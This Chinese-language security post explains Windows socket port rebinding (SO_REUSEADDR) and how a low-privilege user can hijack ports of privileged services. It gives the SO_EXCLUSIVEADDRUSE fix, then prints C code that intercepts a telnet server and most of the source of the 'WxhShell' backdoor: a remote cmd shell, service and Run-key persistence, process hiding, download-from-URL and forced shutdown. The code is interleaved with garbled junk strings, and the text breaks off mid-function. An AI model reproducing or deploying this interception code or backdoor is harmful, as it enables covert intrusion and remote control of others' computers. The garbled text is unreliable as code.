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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ksB s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L*zbike 0lX)Cl saddr.sin_family = AF_INET; mgi,b2 %v5)s(Yu saddr.sin_addr.s_addr = htonl(INADDR_ANY); lhLnyg Uk *)MX%`Z} bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cvZni#o2) jrIA]K6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =?=)s ^y:FjQC: 这意味着什么?意味着可以进行如下的攻击: T?W[Z_D nqZA|-} 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 UppBnw xj0cgK|! 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) PV?]UUc'n< m! rwG( 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 F0@Qgk]\ @@'nit 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 uWUR3n 3LKB; 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 CD^CUbGk ao)Ck3] 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
*f79=x ~_'0]P\ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Y.q>EUSH o[o:A|n #include 7N>oY$&) #include \M7I&~V #include {I`B[,* #include Xc\*9XV: DWORD WINAPI ClientThread(LPVOID lpParam); *i`v~> int main() UE^D2 u { +AB6lv WORD wVersionRequested; DKh}Y
!Q=: DWORD ret; L'>s(CR WSADATA wsaData; 1<`9HCm BOOL val; w|=gSC-o SOCKADDR_IN saddr; -<_7\09 SOCKADDR_IN scaddr; ue@8voZhS/ int err; +W6Hva. SOCKET s; jRofG' SOCKET sc; R4V \B int caddsize; HzE1r+3Q@ HANDLE mt; j8pFgnQ DWORD tid; +L0J_.5%^ wVersionRequested = MAKEWORD( 2, 2 ); CoJ55TAW err = WSAStartup( wVersionRequested, &wsaData ); 2A*/C7 if ( err != 0 ) { G-arnu) printf("error!WSAStartup failed!\n"); (B&h;U$HAH return -1; nB=0T`vQ } Y[Es saddr.sin_family = AF_INET; ~uB'3`x WE")xhV6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )%s +? B#]_8svO saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ):krJ+-/y saddr.sin_port = htons(23); cqEHYJ;B if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Xem 05%, { 6_*!|g printf("error!socket failed!\n"); Sr&T[ex,. return -1; N=#4L$@- } L!g DFZr val = TRUE; jPnO@H1 //SO_REUSEADDR选项就是可以实现端口重绑定的 Uan,H1a if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M`~!u/D7 { sMH#BCC printf("error!setsockopt failed!\n"); co/7l sW
return -1; p'&*r2_ram } ob'n{T+lZ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h4Ia>^@ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B20_ig: //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 PPa^o8jd
+e'X; if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7IW> >RBF { I_?He'=0oU ret=GetLastError(); a\pi(9R printf("error!bind failed!\n"); %fv)7 CRM return -1; /&h+t^l_Qj } "x&3Z@q7 listen(s,2); ?vu_k 'io while(1) %,|ztH/ Q { t^.'>RwW| caddsize = sizeof(scaddr); YdI0E //接受连接请求 vBNZ<L\|a sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }~Q5Y3]#~ if(sc!=INVALID_SOCKET) J3G7zu8 { _UkmYZ/ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =OYQM<q if(mt==NULL) W/r^ugDV { I]X printf("Thread Creat Failed!\n"); &!jq!u$( break; c&f
y{}10 } !%xP}{(7 } 2J<&rKCF CloseHandle(mt); 3sFeP& } 8Mu;U3cIW closesocket(s); U<47WfcW WSACleanup(); se!mb _! return 0; }>&KUl } /s
c.C DWORD WINAPI ClientThread(LPVOID lpParam) ]>Si0% { i[150g?K SOCKET ss = (SOCKET)lpParam; W&(f&{A SOCKET sc; LmQ/#Gx unsigned char buf[4096]; kZVm1W1 SOCKADDR_IN saddr; z/1{OL long num; xMI+5b8 DWORD val; 0Q~@F3N-\> DWORD ret; O"*`'D|hK //如果是隐藏端口应用的话,可以在此处加一些判断 t};~H\: //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 TJaeQqob saddr.sin_family = AF_INET; sS!w}o2X saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $
[7 Vgs saddr.sin_port = htons(23); k=/eM$": if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g{>^`JtP { B8m_'!;; printf("error!socket failed!\n"); H{V)g return -1; VXm[- } h1+hds+ val = 100; 7byCc_, if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ->E=&X { Ue$zH"w ret = GetLastError(); LK}-lZ`
i return -1; Bux'hc } ? _<[T if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }q!_!q,@ { E=u/tpj
ret = GetLastError(); &Y7C0v return -1; KWhZ +i` } - 8bNQU if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }rbZ&IN\?E { e*]r printf("error!socket connect failed!\n"); W
f@t4(i closesocket(sc); ALGgAX3t closesocket(ss); d~*TIN8Ke~ return -1; {8@\Ij } N[Sb#w`[/ while(1) !e3YnlE { Q_zr\RM> //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4tXSYHd3 //如果是嗅探内容的话,可以再此处进行内容分析和记录 }!)F9r@\ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8]< f$3. num = recv(ss,buf,4096,0); 0{) $SY if(num>0) EO)%UrWnC send(sc,buf,num,0); +.Bmkim else if(num==0) &uM^0eM break; 7Kf}O6nE num = recv(sc,buf,4096,0); (~s|=Hxq|- if(num>0) LJQJ\bT? send(ss,buf,num,0); Cca0](R*& else if(num==0) 8o-bd_ break; 2~c~{ jl\ } ?Zz'|.l@ closesocket(ss); [@"wd_f{l closesocket(sc); Owf.f;QR return 0 ; c
~Fdx } naNyGE7) N[U9d}Zv x&=9P e( ========================================================== 8#LJ* o ~kKrDLW+ 下边附上一个代码,,WXhSHELL x#8w6@iPQ J]pa4C` ========================================================== Tby,J
B^U )`HA:: #include "stdafx.h" Vhg1/EgUr mBk5+KyT #include <stdio.h> ijUzC>O+q #include <string.h> +MUwP(U=w #include <windows.h> xxa} YIe8 #include <winsock2.h> qpqokK #include <winsvc.h> -5>NE35Cto #include <urlmon.h> Q M1F?F F#V q#|_)> #pragma comment (lib, "Ws2_32.lib") {G*QY%j^ #pragma comment (lib, "urlmon.lib") IA*KaX2S< <@,$hso7: #define MAX_USER 100 // 最大客户端连接数 K7`YJp`i #define BUF_SOCK 200 // sock buffer P $>` #define KEY_BUFF 255 // 输入 buffer S~F` 7#-y-B]l #define REBOOT 0 // 重启 :w-`PYJ%G #define SHUTDOWN 1 // 关机 9dKul,c !3}deY8;# #define DEF_PORT 5000 // 监听端口 -50AX1h31: /-Qv?" #define REG_LEN 16 // 注册表键长度 p25Fn`}H #define SVC_LEN 80 // NT服务名长度 +,flE=5]s >+9JD%]x] // 从dll定义API
fCX*R" typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;")A{tX2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J7&DR^.Sw typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5EeDHsvV9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yA7)Y})> 5lmO:G1 // wxhshell配置信息 H\G{3.T.9 struct WSCFG { &__DJ''+ int ws_port; // 监听端口 0SV \{]2 char ws_passstr[REG_LEN]; // 口令 `
2%6V)s int ws_autoins; // 安装标记, 1=yes 0=no ,x_Z JL char ws_regname[REG_LEN]; // 注册表键名 K"{HseN{ char ws_svcname[REG_LEN]; // 服务名 (> "QVxr char ws_svcdisp[SVC_LEN]; // 服务显示名 ^toAw8A=@0 char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~+n,1]W_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BWq/TG=> int ws_downexe; // 下载执行标记, 1=yes 0=no z&+
zl6 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" d;G~hVu char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m(47s @Hjea1@t }; 8X7{vN_3K #hxyOq, // default Wxhshell configuration hWEnn=BW struct WSCFG wscfg={DEF_PORT, H{`{)mS "xuhuanlingzhe", $k2)8 #\ 1, w:ULi3 "Wxhshell", 1B:aC|B "Wxhshell", O!R"v' "WxhShell Service", w2"]Pl "Wrsky Windows CmdShell Service", Dpqt;8"2L "Please Input Your Password: ", 2(#Ks's? 1, Dy9\O77> " http://www.wrsky.com/wxhshell.exe", :Jxh2 "Wxhshell.exe" $\\lx_) }; j,
u#K)7{T 4zc<GL3[ // 消息定义模块 \8b6\qF/\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x8N|($1 char *msg_ws_prompt="\n\r? for help\n\r#>"; J !#Zi#8sF char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; }E&NPp> char *msg_ws_ext="\n\rExit."; Ex(3D[WmMW char *msg_ws_end="\n\rQuit."; \M+L3*W char *msg_ws_boot="\n\rReboot..."; xHkxc}h char *msg_ws_poff="\n\rShutdown..."; Ka-p& Uv1< char *msg_ws_down="\n\rSave to "; `~F5wh~ Plo ,XU char *msg_ws_err="\n\rErr!";
$aP(|!g char *msg_ws_ok="\n\rOK!"; X>l*v\F9 G*n2Ii char ExeFile[MAX_PATH]; j$@tK0P int nUser = 0; %5B%KCCN HANDLE handles[MAX_USER]; j4.&l3 int OsIsNt; wD9a#AgEd H7&xLYQ2 SERVICE_STATUS serviceStatus; >)4YP*qIPb SERVICE_STATUS_HANDLE hServiceStatusHandle; 1(gfdx9|b v%91k // 函数声明 B@K[3 int Install(void); (Wj2?k/] int Uninstall(void); -G`.y? int DownloadFile(char *sURL, SOCKET wsh); Dz&+PES_k int Boot(int flag); l[Z)@bC1 void HideProc(void); Zk`#VH int GetOsVer(void); 80hme+e int Wxhshell(SOCKET wsl); tL(B pL' void TalkWithClient(void *cs); T1
MY X int CmdShell(SOCKET sock); SgM.B int StartFromService(void); Oh!(@ int StartWxhshell(LPSTR lpCmdLine); PpOlt.yui 5M){!8"S)# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v,1F--v VOID WINAPI NTServiceHandler( DWORD fdwControl ); $|<m9CW >S#ul? // 数据结构和表定义 rY}B-6qJn SERVICE_TABLE_ENTRY DispatchTable[] = f`P9ku#j} { +!O-kd {wscfg.ws_svcname, NTServiceMain}, p^QZ q>v {NULL, NULL} W|UtY`1 }; /L~m#HxWU fE;Q:# Z. // 自我安装 8A2z 5Aa int Install(void) 1/iE`Si { ,=By$.rr' char svExeFile[MAX_PATH]; 3Sh+u>w HKEY key; _<Dt
z strcpy(svExeFile,ExeFile); (JZ".En#X Zhi})d3l // 如果是win9x系统,修改注册表设为自启动 U}AX0*S if(!OsIsNt) { WH$HI/%*m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5cTY;@@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^R_e RegCloseKey(key); @.9I3E-= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `E>vG-9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ijo(^v@ RegCloseKey(key); Yp5L+~J[ return 0; =3'(A14C= } kX;$}7n } ])T/sO#' } C1B'#F9EO else { T9jw X:n TQ'E5^ // 如果是NT以上系统,安装为系统服务 S@}4-\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
*4yN3y if (schSCManager!=0) ycpE=fso' { l4T:d^Eb SC_HANDLE schService = CreateService |E^|X!+9 ( WZ~> BM schSCManager, fI:H8 wscfg.ws_svcname, b9("DZW; wscfg.ws_svcdisp, \
P/W8{ SERVICE_ALL_ACCESS, ; B$*)X9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L.)yXuo4 SERVICE_AUTO_START, >)c9|e=8 SERVICE_ERROR_NORMAL, d-$_|G+ svExeFile, ]+%=@mWYs NULL, 77aX-e*=E NULL, +{-]P\oc NULL, F)ci9- b@ NULL, VifmZ;S@Y NULL MOHHZApt ); J r*"V` if (schService!=0) A7Y_HIo { P. V\ov7m2 CloseServiceHandle(schService); .6 T4 z7I CloseServiceHandle(schSCManager); 8pe0$r`b strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !Q)3-u strcat(svExeFile,wscfg.ws_svcname); BKb<2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #PAU'u
3{/ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (!</%^ZI RegCloseKey(key); \E
hr@g return 0; Yj8& } dY'Y5Th~ } JvJ;bFXD CloseServiceHandle(schSCManager); Q[_Ni15 } J/kH%_ >Ir } dR[o|r ^k72{ 3N( return 1; "c
Pz|~ } QJXdb]Y^; 8/q*o>[? // 自我卸载 O@,i1ha% int Uninstall(void) YFvgz.>QE { r8v:|Q1" HKEY key; UrK"u{G aN'0}<s if(!OsIsNt) { O/9fuEF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FfYsSq2l RegDeleteValue(key,wscfg.ws_regname); %b<%w
RegCloseKey(key); Zi1YZxF`Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AbY;H RegDeleteValue(key,wscfg.ws_regname); a4by^ RegCloseKey(key); SIv[9G6 return 0; <}2A=~
_ } 5$^c@ 0 } ^H!Lp[5c } eH[y[~r else { fsI`DjKi) .@K#U52 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /(zB0TEd if (schSCManager!=0) D_ ug-<QT { 3"tg+DncC SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Pd],}/ZG- if (schService!=0) i'HST|!j { uI9lK if(DeleteService(schService)!=0) { +Ag#B* CloseServiceHandle(schService); k2uBaj] CloseServiceHandle(schSCManager); t>oM%/H return 0; 0UjyMEiK } W-XN4:,qI CloseServiceHandle(schService); %:tr } K~JC\a\0 CloseServiceHandle(schSCManager); OR~G Ov| } (WMLNv } g&
>mP? Eq7gcDQ return 1; G>j"cj } +V89J!7 S41)l!+2 // 从指定url下载文件 f#c BQ~ int DownloadFile(char *sURL, SOCKET wsh) =U_@zDD@V { Y-7.Vjt^ HRESULT hr; .-%oDuB5zF char seps[]= "/"; ]>*I) H)
char *token; T~|PU{ char *file; 2dyxKK!\a char myURL[MAX_PATH]; _<Vg[-:1 char myFILE[MAX_PATH]; b)y<.pS\ {4)5]62>u strcpy(myURL,sURL); :z124Zf token=strtok(myURL,seps); WiwwCKjSa while(token!=NULL) Oo$%Yh51~ { eo]a'J9( file=token; x"!#_0TT} token=strtok(NULL,seps); GiFf0c
9 } J ZNyC!u dr>]+H=3E GetCurrentDirectory(MAX_PATH,myFILE); cWc$yE' strcat(myFILE, "\\"); lDH_ Y]bM strcat(myFILE, file); E =
^-Z send(wsh,myFILE,strlen(myFILE),0); n('VQ0b send(wsh,"...",3,0); ;<~j)8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m9cj7 if(hr==S_OK) ;pCG9 return 0; fl!1AKSn@N else :.C)7( 8S return 1; YFAnlqC 0=gF6U } ua!D-0 su%Z{f)# // 系统电源模块 ZS|Z98 int Boot(int flag) /$<JCNGv { +Hi{/{k0N HANDLE hToken; +*Q9.LjV TOKEN_PRIVILEGES tkp; [)bz6\d[ oRV]p if(OsIsNt) { l.yJA>\24I OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Hv+:fr" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [lrmuf
tkp.PrivilegeCount = 1; ws na5D6i
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8L@UB6b\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jCam,$oE if(flag==REBOOT) { 5Bzuj` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .v$ue` return 0; IcO9V<Q| } dcM+ylB else { VQ/ <09e if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *%z<P~} return 0; 2>`m<&y } ^glbxbhI4 } 1h&)I%`? else { P=}H1# if(flag==REBOOT) { lxr@[VQ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1\=pPys) return 0; R20a(4m } 56VE[G else { lu<Np9/5< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oR4fK
td return 0; iRkOH]+K } 0<6rU } .[]{
Q Y+}OClS return 1; !#l0@3 } XtnIK K7n;Zb:BR // win9x进程隐藏模块 q^Q|.&_k / void HideProc(void) bEEJV F0 { _D!M
nTK (mu{~@Hw HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2M!+gk=+ if ( hKernel != NULL ) I67k M{V { zDKLo 3: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )^V5*#69D ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E5v|SFD FreeLibrary(hKernel); j&o/X7I= } =<Zwv\U #mi0x06 return; QYFN:XZ } +5N^TnBtBL KzxW?Ji$S // 获取操作系统版本 4Ub?* int GetOsVer(void) weTK#O0@v { z{7,.S
u OSVERSIONINFO winfo; gs^UR6
D, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?Xy w<fMQ GetVersionEx(&winfo); oxxE'cx{g if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :*^(OnIe return 1; i2`.#YJ&v else R.^Bxi-UG: return 0; znGZULa# } CfazD??x h7Shl<f // 客户端句柄模块 N9fUlXhR int Wxhshell(SOCKET wsl) QySca(1tN { )x9nED{ SOCKET wsh; n0
fF,?gm struct sockaddr_in client; >@q2FSMf DWORD myID; $j$\ccG XPR:_ while(nUser<MAX_USER) [:/7OM { /cn/[O9 int nSize=sizeof(client); q70YNk} wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +J}k_'4& if(wsh==INVALID_SOCKET) return 1; n?7hp%} U?+3 0{hb handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ugee?;]lu if(handles[nUser]==0) ^5^
zo~^o closesocket(wsh); TZ`]#^kU else p~k`Z^xY$ nUser++; hx2!YNx ! } Wr}a\}R WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O23]!S<; kW7&~tX return 0; k~W;TCJs } mt&JgA/ uBd =x<c\ // 关闭 socket oPC IlH void CloseIt(SOCKET wsh) P+_\}u; { L?/M2zc9Y closesocket(wsh); &Pn%zfmMN nUser--; 'J&@jp ExitThread(0); 2t
Z\{= } ,vHX>)M| yA`]%U(( // 客户端请求句柄 [1[[$ Dr void TalkWithClient(void *cs) <_FF~lj { Hme@9(zD. SFm.<^6 SOCKET wsh=(SOCKET)cs; z!uB&2C{k char pwd[SVC_LEN]; 55jY` b. char cmd[KEY_BUFF]; !:!@dC%8_ char chr[1]; ~O7cUsAi' int i,j; da7x 1n$D ]pucv! while (nUser < MAX_USER) { h&^/, G )H=[NB6J8 if(wscfg.ws_passstr) { 'f$?/5@@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [W7\c;Do //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h<z/LL8| //ZeroMemory(pwd,KEY_BUFF); *+1"S ]YF i=0; u9y-zhj_$ while(i<SVC_LEN) { SE7 (+r 1 _:1/~R1 // 设置超时 nk?xNe4 fd_set FdRead; `h%D\EKeB struct timeval TimeOut; /=O+/)l` FD_ZERO(&FdRead); mc[_>[m FD_SET(wsh,&FdRead); Y-q,Ovf! TimeOut.tv_sec=8; 75BOiX TimeOut.tv_usec=0; Fr Q-v]c int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D9pxe qf+= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DIcyXZH< *U[Q =w if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p|O-I&Xd pwd =chr[0]; c )P%O if(chr[0]==0xd || chr[0]==0xa) { e"&9G}.f pwd=0; ]|\>O5eeu break; ct4)faM } /%@RO^P i++; @#O| } &,gryBN nR|uAw // 如果是非法用户,关闭 socket (>@syF%PB if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HS7
G_ } r^Rcjyc1 =;-ju@d send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A`ertSlbhe send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nm%4L ThiPT|5u while(1) { 9p0HFri[ bD^ob.c.A ZeroMemory(cmd,KEY_BUFF); R~mMGz i?s&\3--Y // 自动支持客户端 telnet标准 07WIa@Q j=0; Ia>th\_& while(j<KEY_BUFF) { 9!/1F ! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l`w|o cmd[j]=chr[0]; `[HoxCV3o if(chr[0]==0xa || chr[0]==0xd) { otnY{r* cmd[j]=0; n;T break; V%KW[v<G< } UBk
5O& j++; ;>x1)|n5 } Jhq5G" 1:l&&/Wy // 下载文件 dUVTQ18F if(strstr(cmd,"http://")) { 4!b'%) send(wsh,msg_ws_down,strlen(msg_ws_down),0); . R8W< if(DownloadFile(cmd,wsh)) $S-;M0G
x send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7-0twq
else o9SfWErZ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b}{9
:n/SC } l\l]9Z6% else { L08;z 5~rY=0t switch(cmd[0]) { d4=u`2w .Y Frb+6 // 帮助 _ . case '?': { `0gK;D8t send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q~8&pP8I! break; Env}g CX } w5JC 2 // 安装 gJcL{] case 'i': { tNNg[;0 if(Install()) eOnl
sx/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); lSsFI30 else 0JWD] " send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YyBq+6nq5 break; .Im+()b&& } f(ec/0W // 卸载 F$.s6Hh. case 'r': { n'(n4qH2#s if(Uninstall()) )ZT0zIG send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tqh Rs else uN^qfJ'@
> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @^jLYu|W break; 4]Nr$FY } 3ncvM>~g // 显示 wxhshell 所在路径 xM"XNT6b case 'p': { qk{UO
< char svExeFile[MAX_PATH]; -(,6w? strcpy(svExeFile,"\n\r"); {mr)n3 strcat(svExeFile,ExeFile); OM C|.[ send(wsh,svExeFile,strlen(svExeFile),0); Kpbber break;
NGD2z. } 5oy MR_yl // 重启 RloPP case 'b': { 03jBN2[! send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ialk6i![ if(Boot(REBOOT)) V\8
5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 7qS.Z27 else { 'cc4Y~0s closesocket(wsh); s~ZC!- [; ExitThread(0); aV%rq9Tp } ?4||L8j2^ break; <(lSNGv5N } bM_(`]&* // 关机 `CUO! 'U case 'd': { w)>z3Lm send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >~8Df61o` if(Boot(SHUTDOWN)) b4OR`dd*J send(wsh,msg_ws_err,strlen(msg_ws_err),0); 31\^9w__8 else { cr;`0 closesocket(wsh); :iC\#i]6 ExitThread(0); i*E`<9 } ee?ZkU#@ break; P`v~L;f } -L<Pm(v& // 获取shell hWe}(Ks case 's': { SJr: CmdShell(wsh); 90v18k closesocket(wsh); IYC#H} ExitThread(0); 6df&B
.gg break; f__WnW5h } h\ek2K // 退出 ,H1~_|)< case 'x': { 'a[|}nJ3 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RN3D:b+ CloseIt(wsh); V2* |j8| break; V1U[p3J-S } p&27|1pZm // 离开 4V3
w$:, case 'q': { BC[d={_- send(wsh,msg_ws_end,strlen(msg_ws_end),0); pU'sADC closesocket(wsh); ^( VB5p
WSACleanup();
aj B exit(1); ',%&DA2 break; $yK!Q)e: } LP_F"?4 } @]3Rw[%z } e)(| J8DbAB4X // 提示信息 8dB~09Z7 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F}[;ytmUS } 0)44*T } K)@Buu&,p tAi9mm;k return; X*q
C:]e } R/YL1s <}1%">RA // shell模块句柄 7y7y<`)I5 int CmdShell(SOCKET sock) :_zKUv] { .?j8{> STARTUPINFO si; O{R5<"g ZeroMemory(&si,sizeof(si)); jG :R\D}0 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g3 rFJc si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3dphS ^X PROCESS_INFORMATION ProcessInfo; 7T Bo*-! char cmdline[]="cmd"; cyE2= CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C^tC} n1D( return 0; _4]dPk#^ } l
d9#4D[# O~xmz!?= // 自身启动模式 #4u; `j"4= int StartFromService(void) zghm2{:`?g { qm8RRDG typedef struct ufPQ~,. { TZ2f-KI DWORD ExitStatus; B6oAW ,3 DWORD PebBaseAddress; OK}"|:hrd DWORD AffinityMask; !m2k0|9 DWORD BasePriority; q Q8l8 ULONG UniqueProcessId; 5al{[mi ULONG InheritedFromUniqueProcessId; =SnR9In } PROCESS_BASIC_INFORMATION; &O)mPnx` w}b+vh^3Wy PROCNTQSIP NtQueryInformationProcess; PEl]HI_H 7A-rF U$ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7mNskb| static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^*Fkt(ida W'$~mK\ HANDLE hProcess; `s $@6r$ PROCESS_BASIC_INFORMATION pbi; 6u}NI!he 7:%K-LeaQu HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A-$BB=Ot if(NULL == hInst ) return 0; 5i?U- 0=DawJ9 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <H/H@xQ8G g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, 